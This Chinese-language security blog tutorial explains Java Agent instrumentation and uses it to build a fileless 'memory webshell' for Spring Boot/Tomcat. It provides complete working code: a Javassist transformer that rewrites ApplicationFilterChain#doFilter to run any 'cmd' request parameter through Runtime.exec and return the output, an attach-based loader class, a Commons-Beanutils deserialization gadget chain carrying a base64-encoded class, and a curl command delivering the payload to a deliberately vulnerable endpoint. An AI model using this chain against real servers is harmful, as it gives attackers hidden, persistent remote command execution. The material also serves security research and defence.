文章首发于Secin:浅谈Agent内存马
摆了一个月了。。。。
在JVM中运行中,类是通过classLoader加载.class文件进行生成的。在类加载.class文件生成对应的类对象之前,我们可以通过修改.class文件内容,达到修改类的目的。而在 jdk 1.5之后引入了 java.lang.instrument 包,通过 java.lang.instrument 提供的对字节码进行操作的一系列api,而使用这些api开发出的程序就可以称之为java agent。
agent内存马就是利用上述特性修改特定的类或者方法,从而实现恶意方法的注入。
Java Agent中提供了两种加载方式(方法名相同情况下,拥有Instrumentation inst参数的方法优先级更高):
public static void agentmain(String agentArgs, Instrumentation inst) {
...
}
public static void agentmain(String agentArgs) {
...
}
public static void premain(String agentArgs, Instrumentation inst) {
...
}
public static void premain(String agentArgs) {
...
}
premain 在启动时进行加载 (jdk1.5之后)
agentmain 在启动后进行加载 (jdk1.6之后)
在main函数之前调用,并且要求mainfest文件中有Premain-Class属性且利用-javaagent
加载。
Demo
先看一下具体如果调用该方法:
先写一个实现premain方法的类,返回传入的参数agentArgs、inst
AgentTest.java
import java.lang.instrument.Instrumentation;
public class AgentTest {
public static void premain(String agentArgs, Instrumentation inst) throws Exception{
System.out.println(agentArgs);
System.out.println(inst);
}
}
接着创建 mainfest(注:在前边说到过文件中一定要有Premain-Class属性,其次最后要有空行)
agent.mf
Manifest-Version: 1.0
Premain-Class: AgentTest
MANIFEST.MF的其他选项:
Premain-Class: 包含 premain 方法的类(类的全路径名)
Agent-Class: 包含 agentmain 方法的类(类的全路径名)
Boot-Class-Path: 设置引导类加载器搜索的路径列表。查找类的特定于平台的机制失败后,引导类加载器会搜索这些路径。按列出的顺序搜索路径。列表中的路径由一个或多个空格分开。路径使用分层 URI 的路径组件语法。如果该路径以斜杠字符(“/”)开头,则为绝对路径,否则为相对路径。相对路径根据代理 JAR 文件的绝对路径解析。忽略格式不正确的路径和不存在的路径。如果代理是在 VM 启动之后某一时刻启动的,则忽略不表示 JAR 文件的路径。(可选)
Can-Redefine-Classes: true表示能重定义此代理所需的类,默认值为 false(可选)
Can-Retransform-Classes: true 表示能重转换此代理所需的类,默认值为 false (可选)
Can-Set-Native-Method-Prefix: true表示能设置此代理所需的本机方法前缀,默认值为 false(可选)
将AgentTest.java转为字节码文件,之后就是生成需要的jar文件了
javac AgentTest.java
jar cvfm agent.jar agent.mf AgentTest.class
前边说到premain是在main函数之前调用的,所以这里再写个带有main的测试类
Hello.java
public class Hello {
public static void main(String[] args) {
System.out.println("Hello,Sentiment!");
}
}
Hello.mf
Manifest-Version: 1.0
Main-Class: Hello
同样生成字节码文件或得到jar文件
javac Hello.java
jar cvfm hello.jar Hello.mf Hello.class
得到agent.jar 和 hello.jar后,利用-javaagent
进行加载。
java -javaagent:agent.jar=Sentiment -jar hello.jar
可以看到先执行了premain方法,之后才执行main输出Hello,Sentiment!
整个流程:启动JVM之后查看是否存在jaavaagent参数,如果存在的话则会先执行premain方法再执行main
这种有个比较明显的弊端:若目标服务器已启动,则无法预先加载premain。
在前边说到agent中用到的两种加载方式,第二种就是agentmain
,这种方式就有效的解决了上述premain中提到的弊端。
了解agentmain
之前需要先了解Instrumentation
。
Instrumentation
也是premain方法的第二个形参的类型。Instrumentation 是 JVMTIAgent的一部分,Java agent通过这个类可以用来监测和协助运行在 JVM 上的程序,甚至能够替换和修改某些类的定义。
在 Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据
Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码
下面列举几个使用到的该接口中的方法(参考文档):
注册Class 文件转换器,用于改变 Class 二进制流的数据。
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
void addTransformer(ClassFileTransformer transformer);
删除转换器
boolean removeTransformer(ClassFileTransformer transformer);
对已加载的类重新定义,达到对已加载的类进行字节码修改的效果。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException
测试类是否可通过重转换或重定义进行修改。
boolean isModifiableClass(Class<?> theClass)
返回 JVM 当前装入的所有类的数组。
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();
大致了解后接着看agentmain方法
这种方式只需要将premain的mf文件内容换成Agent-Class即可,例(还是需要注意换行):
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: Test
它的加载主要通过两个重要的类 VirtualMachine
和 VirtualMachineDescriptor
,在com.sun.tools.attach
中,但我的attach下并没有对应的这两个类,经过寻找发现在lib下有tools.jar
,手动导入即可:
VirtualMachine 可以来实现获取系统信息,内存dump、现成dump、类信息统计(例如JVM加载的类)。该类实现了以下几种方法:
public abstract class VirtualMachine {
// 获得当前所有的JVM列表
public static List<VirtualMachineDescriptor> list() { ... }
// 根据pid连接到JVM
public static VirtualMachine attach(String id) { ... }
// 断开连接
public abstract void detach() {}
// 加载agent,agentmain方法靠的就是这个方法
public void loadAgent(String agent) { ... }
}
VirtualMachineDescriptor 就不做探究了,其实就是个描述虚拟机的容器类,配合 VirtualMachine 使用的。
接着看一下ClassFileTransformer接口。
在addTransformer的第一个参数中见到过
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
ClassFileTransformer中只有一个transform()方法
public interface ClassFileTransformer {
..............
byte[]
transform( ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer)
throws IllegalClassFormatException;
}
先简单理解几个功能即可:
Instrumentation.addTransformer()
添加转换器后,在加载,重新定义或重新转换类时会调用转换器的transform方法。canRetransform
设为true后转换器便拥有了重转换能力ClassLoader.defineClass()
定义它;已经加载的类,会使用ClassLoader.redefineClasses()
重新定义,并配合Instrumentation.retransformClasses
进行转换。了解完后看一下agentmain具体实现:
AgentMain.java
实现agentmain()
方法
import java.lang.instrument.Instrumentation;
public class AgentMain {
public static void agentmain(String agentArgs, Instrumentation inst) throws Exception{
inst.addTransformer(new Transformer(),true);
System.out.println("Hello,Sentiment!");
}
}
Transformer.java
AgentMain.java中通过addTransformer
注册了转换器,而转换器类型是ClassFileTransformer
,所以需要继承它并对其重写
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class Transformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println(className);
return classfileBuffer;
}
}
AgentMain.mf
加上对应的Agent-Class
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: AgentMain
除Agent-Class
外,还多了两个参数Can-Redefine-Classes: true
是否支持类的重新替换,Can-Retransform-Classes: true
是否支持类的重新定义。
在需要修改已经被JVM加载过的类的字节码的时候必须设置,否则会报错,Can-Redefine-Classes
参数在ClassFileTransformer前半部分也有提到。
接着就是生成字节码文件
javac AgentMain.java
javac Transformer.java
生成后打包为jar文件
jar cvfm AgentMain.jar AgentMain.mf AgentDemo.java Transformer.class
接着就是测试类
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class AgentDemo {
public static void main(String[] args) throws Exception{
String path = "AgentMain.jar路径";
//获取JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor v:list){
String name=v.displayName();
//System.out.println(name);
if (name.contains("AgentDemo")){
// 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
VirtualMachine vm = VirtualMachine.attach(v.id());
System.out.println("id => "+v.id());
// 将AgentMain.jar 发送给虚拟机
vm.loadAgent(path);
// 解除代理链接
vm.detach();
}
}
}
}
结果:输出id后,调用了agentmain方法,并输出了加载的类名
基本流程:
先执行main方法输出id —> 通过attach连接后调用loadAgen —> 找到对应的jar后调用agentmain方法 —> 执行完后通过detach解除代理链接
但在JVM 启动时并不会主动加载tools.jar
,所以需要我们通过URLClassloader 本地磁盘调用的方式进行加载
先通过classloader获取VirtualMachine
和VirtualMachineDescriptor
URL[] url = {new URL("file:///C:/Program Files/Java/jdk1.8.0_65/lib/tools.jar")};
java.net.URLClassLoader classLoader = URLClassLoader.newInstance(url);
Class<?> VirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class<?> VirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
接着就跟之前的类似了,由于是通过classloader获取的方法,所以不能直接调用,这里先通过反射获取list()
Method listMethod = VirtualMachine.getDeclaredMethod("list",null);
List<Object> list = (java.util.List<Object>) listMethod.invoke(VirtualMachine,null);
获取后剩下部分同理获取想要的方法并调用:
String path = "D:\\java\\Java_Security\\src\\main\\java\\AgentMain.jar";
for(int i=0;i<list.size();i++){
Object o = list.get(i);
Method displayName = VirtualMachineDescriptor.getDeclaredMethod("displayName",null);
String name = (String) displayName.invoke(o,null);
//System.out.println(name);
if (name.contains("Test")){
Method getId = VirtualMachineDescriptor.getDeclaredMethod("id",null);
String id = (java.lang.String) getId.invoke(o,null);
System.out.println("id => "+id);
Method attach = VirtualMachine.getDeclaredMethod("attach",new Class[]{String.class});
Object vm = attach.invoke(o,new Object[]{id});
Method loadAgent = VirtualMachine.getDeclaredMethod("loadAgent",new Class[]{String.class});
loadAgent.invoke(vm,new Object[]{path});
Method detach = VirtualMachine.getDeclaredMethod("detach",null);
detach.invoke(vm,null);
break;
}
}
最终poc
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.List;
public class Test {
public static void main(String[] args) throws Exception{
try{
URL[] url = {new URL("file:///C:/Program Files/Java/jdk1.8.0_65/lib/tools.jar")};
java.net.URLClassLoader classLoader = URLClassLoader.newInstance(url);
Class<?> VirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class<?> VirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
Method listMethod = VirtualMachine.getDeclaredMethod("list",null);
List<Object> list = (java.util.List<Object>) listMethod.invoke(VirtualMachine,null);
System.out.println("------------ Start ------------");
String path = "D:\\java\\Java_Security\\src\\main\\java\\AgentMain.jar";
for(int i=0;i<list.size();i++){
Object o = list.get(i);
Method displayName = VirtualMachineDescriptor.getDeclaredMethod("displayName",null);
String name = (String) displayName.invoke(o,null);
//System.out.println(name);
if (name.contains("Test")){
Method getId = VirtualMachineDescriptor.getDeclaredMethod("id",null);
String id = (java.lang.String) getId.invoke(o,null);
System.out.println("id => "+id);
Method attach = VirtualMachine.getDeclaredMethod("attach",new Class[]{String.class});
Object vm = attach.invoke(o,new Object[]{id});
Method loadAgent = VirtualMachine.getDeclaredMethod("loadAgent",new Class[]{String.class});
loadAgent.invoke(vm,new Object[]{path});
Method detach = VirtualMachine.getDeclaredMethod("detach",null);
detach.invoke(vm,null);
break;
}
}
} catch (Exception e){
e.printStackTrace();
}
}
}
成功执行
前边赘述那么多,其实都是为了内存马做准备,在前边也提到过若目标服务器已启动,则无法预先加载premain
,所以这里使用的是agentmain
注入内存马。
在使用Springboot环境debug后发现,SpringBoot环境中同tomcat一样,会调用ApplicationFilterChain#doFilter()方法,而这个方法学过Tomcat Filter内存马的话一定对其有很深的印象,doFilter方法就是实现Filter内存马的关键方法
而这个方法还封装了用户请求的request和response,所以我们就可以尝试使用springboot传入用户请求,并通过response返回请求信息,从而进行注入
public void doFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {
if (Globals.IS_SECURITY_ENABLED) {
ServletRequest req = request;
ServletResponse res = response;
try {
使用反序列化方式进行注入,所以加上一个反序列化入口
package com.example.springtest.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;
@Controller
public class SpringTest {
@ResponseBody
@RequestMapping("/unser")
public String unserialize(HttpServletRequest request, HttpServletResponse response) throws Exception {
java.io.InputStream inputStream = request.getInputStream();
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
return "Success!";
}
@ResponseBody
@RequestMapping("/demo")
public String demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
return "Hello,Sentiment!";
}
}
本次通过cb方法注入
依赖
<dependency>
<groupId>commons-collectionsgroupId>
<artifactId>commons-collectionsartifactId>
<version>3.2.1version>
dependency>
<dependency>
<groupId>commons-beanutilsgroupId>
<artifactId>commons-beanutilsartifactId>
<version>1.8.3version>
dependency>
首先还是跟前边一样准备AgentMain
和Transformer
AgentMain.java
import java.lang.instrument.Instrumentation;
public class AgentMain {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static void agentmain(String agentArgs, Instrumentation ins) {
System.out.println("agentmain is running......");
ins.addTransformer(new Transformer(),true);
Class[] classes = ins.getAllLoadedClasses();
for (Class clas:classes){
if (clas.getName().equals(ClassName)){
try{
ins.retransformClasses(new Class[]{clas});
} catch (Exception e){
e.printStackTrace();
}
}
}
}
}
Transformer.java
利用 insertBefore ,将内容插到前边,从而避免对原有程序造成影响
import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
public class Transformer implements ClassFileTransformer {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
className = className.replace("/",".");
if (className.equals(ClassName)){
//System.out.println(ClassName);
ClassPool pool = ClassPool.getDefault();
ClassClassPath classPath = new ClassClassPath(classBeingRedefined);
pool.appendClassPath(classPath);
try {
System.out.println("className:"+className);
CtClass c = pool.getCtClass(className);
CtMethod m = c.getDeclaredMethod("doFilter");
m.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" +
"javax.servlet.http.HttpServletResponse res = response;\n" +
"java.lang.String cmd = request.getParameter(\"cmd\");\n" +
"java.lang.String[] cmds = new java.lang.String[]{\"cmd\",\"/c\",cmd};\n"+
"if (cmd != null){\n" +
" try {\n" +
" java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();\n" +
" java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
" String line;\n" +
" StringBuilder sb = new StringBuilder(\"\");\n" +
" while ((line=reader.readLine()) != null){\n" +
" sb.append(line).append(\"\\n\");\n" +
" }\n" +
" response.getOutputStream().print(sb.toString());\n" +
" response.getOutputStream().flush();\n" +
" response.getOutputStream().close();\n" +
" } catch (Exception e){\n" +
" e.printStackTrace();\n" +
" }\n" +
"}");
byte[] bytes = c.toBytecode();
c.detach();
return bytes;
} catch (Exception e){
e.printStackTrace();
}
}
return new byte[0];
}
}
mvn打包
pom.xml中加上:
<build>
<plugins>
<plugin>
<artifactId>maven-assembly-pluginartifactId>
<configuration>
<descriptors>
<descriptor>src/main/resources/assembly.xmldescriptor>
descriptors>
<archive>
archive>
configuration>
plugin>
plugins>
build>
然后resources下面写assembly.xml
:
<assembly xmlns="http://maven.apache.org/ASSEMBLY/2.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/ASSEMBLY/2.0.0
http://maven.apache.org/xsd/assembly-2.0.0.xsd">
<id>jar-with-dependenciesid>
<formats>
<format>jarformat>
formats>
<includeBaseDirectory>falseincludeBaseDirectory>
<dependencySets>
<dependencySet>
<outputDirectory>/outputDirectory>
<useProjectArtifact>trueuseProjectArtifact>
<unpack>trueunpack>
<scope>runtimescope>
<excludes>
<exclude>org.apache.storm:storm-coreexclude>
excludes>
dependencySet>
dependencySets>
assembly>
然后mvn clean
,mvn assembly:assembly
产生AgentMemory-1.0-SNAPSHOT-jar-with-dependencies.jar
接着将jar包中的MF文件内容修改一下(换行):
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: AgentMain
恶意类Evil.java,跟前边一样依然用URLClassloader 进行本地磁盘调用
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.List;
public class Evil extends AbstractTranslet {
static {
try{
java.lang.String path = "C:\\Users\\del'l'\\Desktop\\AgentMemory-1.0-SNAPSHOT-jar-with-dependencies.jar";
URL[] url = {new URL("file:///C:/Program Files/Java/jdk1.8.0_65/lib/tools.jar")};
java.net.URLClassLoader classLoader = URLClassLoader.newInstance(url);
Class<?> VirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class<?> VirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
Method listMethod = VirtualMachine.getDeclaredMethod("list",null);
List<Object> list = (java.util.List<Object>) listMethod.invoke(VirtualMachine,null);
for(int i=0;i<list.size();i++){
Object o = list.get(i);
Method displayName = VirtualMachineDescriptor.getDeclaredMethod("displayName",null);
String name = (String) displayName.invoke(o,null);
System.out.println(name);
//根据自己的springboot路径进行修改
if (name.contains("com.example.springtest.SpringTestApplication")){
Method getId = VirtualMachineDescriptor.getDeclaredMethod("id",null);
String id = (String) getId.invoke(o,null);
System.out.println("id => " + id);
Method attach = VirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
Object vm = attach.invoke(o,new Object[]{id});
Method loadAgent = VirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
loadAgent.invoke(vm,new Object[]{path});
Method detach = VirtualMachine.getDeclaredMethod("detach",null);
detach.invoke(vm,null);
System.out.println("Inject Success!");
break;
}
}
} catch (Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
生成恶意类Evil.java的字节码文件
javac Evil.java
将字节码文件进行base64加密后放到CB链中,进行动态字节码加载(这里直接用常规的cb方式改下字节码即可)
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class CB {
public static void main(String[] args) throws Exception {
//CC3
Templates templates = new TemplatesImpl();
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAfwoAJQA6CAA7BwA8CAA9CgADAD4KAD8AQAgAQQoAPwBCCABDCABECgAdAEUKAEYARwcASAsADQBJCwANAEoIAEsHAEwJAE0ATgoATwBQCABRCgARAFIIAFMHAFQKABcAOggAVQoAFwBWCgAXAFcIAFgHAFkHAFoIAFsIAFwIAF0HAF4KACIAXwcAYAcAYQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwBiAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcATAcAYwcAZAcAWQcAZQcASAcAXgEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMACYAJwEASkM6XFVzZXJzXGRlbCdsJ1xEZXNrdG9wXEFnZW50TWVtb3J5LTEuMC1TTkFQU0hPVC1qYXItd2l0aC1kZXBlbmRlbmNpZXMuamFyAQAMamF2YS9uZXQvVVJMAQA3ZmlsZTovLy9DOi9Qcm9ncmFtIEZpbGVzL0phdmEvamRrMS44LjBfNjUvbGliL3Rvb2xzLmphcgwAJgBmBwBkDABnAGgBACNjb20uc3VuLnRvb2xzLmF0dGFjaC5WaXJ0dWFsTWFjaGluZQwAaQBqAQAtY29tLnN1bi50b29scy5hdHRhY2guVmlydHVhbE1hY2hpbmVEZXNjcmlwdG9yAQAEbGlzdAwAawBsBwBlDABtAG4BAA5qYXZhL3V0aWwvTGlzdAwAbwBwDABxAHIBAAtkaXNwbGF5TmFtZQEAEGphdmEvbGFuZy9TdHJpbmcHAHMMAHQAdQcAdgwAdwBmAQAsY29tLmV4YW1wbGUuc3ByaW5ndGVzdC5TcHJpbmdUZXN0QXBwbGljYXRpb24MAHgAeQEAAmlkAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBAAdpZCA+Pj4gDAB6AHsMAHwAfQEABmF0dGFjaAEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBAAlsb2FkQWdlbnQBAAZkZXRhY2gBABtBZ2VudC5qYXIgSW5qZWN0IFN1Y2Nlc3MgISEBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAB+ACcBAARFdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAD1tMamF2YS9uZXQvVVJMOwEAF2phdmEvbmV0L1VSTENsYXNzTG9hZGVyAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQALbmV3SW5zdGFuY2UBACooW0xqYXZhL25ldC9VUkw7KUxqYXZhL25ldC9VUkxDbGFzc0xvYWRlcjsBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAEc2l6ZQEAAygpSQEAA2dldAEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAD3ByaW50U3RhY2tUcmFjZQAhACQAJQAAAAAABAABACYAJwABACgAAAAdAAEAAQAAAAUqtwABsQAAAAEAKQAAAAYAAQAAAAwAAQAqACsAAgAoAAAAGQAAAAMAAAABsQAAAAEAKQAAAAYAAQAAADMALAAAAAQAAQAtAAEAKgAuAAIAKAAAABkAAAAEAAAAAbEAAAABACkAAAAGAAEAAAA4ACwAAAAEAAEALQAIAC8AJwABACgAAAHlAAYAEQAAASESAksEvQADWQO7AANZEgS3AAVTTCu4AAZNLBIHtgAITiwSCbYACDoELRIKAbYACzoFGQUtAbYADMAADToGAzYHFQcZBrkADgEAogDPGQYVB7kADwIAOggZBBIQAbYACzoJGQkZCAG2AAzAABE6CrIAEhkKtgATGQoSFLYAFZkAlRkEEhYBtgALOgsZCxkIAbYADMAAEToMsgASuwAXWbcAGBIZtgAaGQy2ABq2ABu2ABMtEhwEvQAdWQMSEVO2AAs6DRkNGQgEvQAeWQMZDFO2AAw6Di0SHwS9AB1ZAxIRU7YACzoPGQ8ZDgS9AB5ZAypTtgAMVy0SIAG2AAs6EBkQGQ4BtgAMV7IAEhIhtgATpwAJhAcBp/8rpwAISyq2ACOxAAEAAAEYARsAIgACACkAAAB2AB0AAAAPAAMAEAAUABEAGQASACAAEwAoABQAMQAVAD0AFwBMABgAVwAZAGEAGgBuABsAdgAdAIAAHgCKAB8AlwAgALEAIQDCACIA1AAjAOUAJAD1ACUA/gAmAQcAJwEPACgBEgAXARgALQEbACsBHAAsASAALgAwAAAALgAF/wBAAAgHADEHADIHADMHADQHADQHADUHADYBAAD7ANH/AAUAAAAAQgcANwQAAQA4AAAAAgA5");
setFieldValue(templates,"_name","Sentiment");
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
//Commons-Beanutils
BeanComparator beanComparator = new BeanComparator("outputProperties");
//CC2
TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
setFieldValue(priorityQueue,"comparator",beanComparator);
serialize(priorityQueue);
//unserialize("1.ser");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.ser"));
out.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
Object o = In.readObject();
return o;
}
}
生成1.ser通过SpringBoot环境传入
curl -v "http://localhost:8080/unser" --data-binary "@./1.ser"
传参后提示注入成功:
注入成功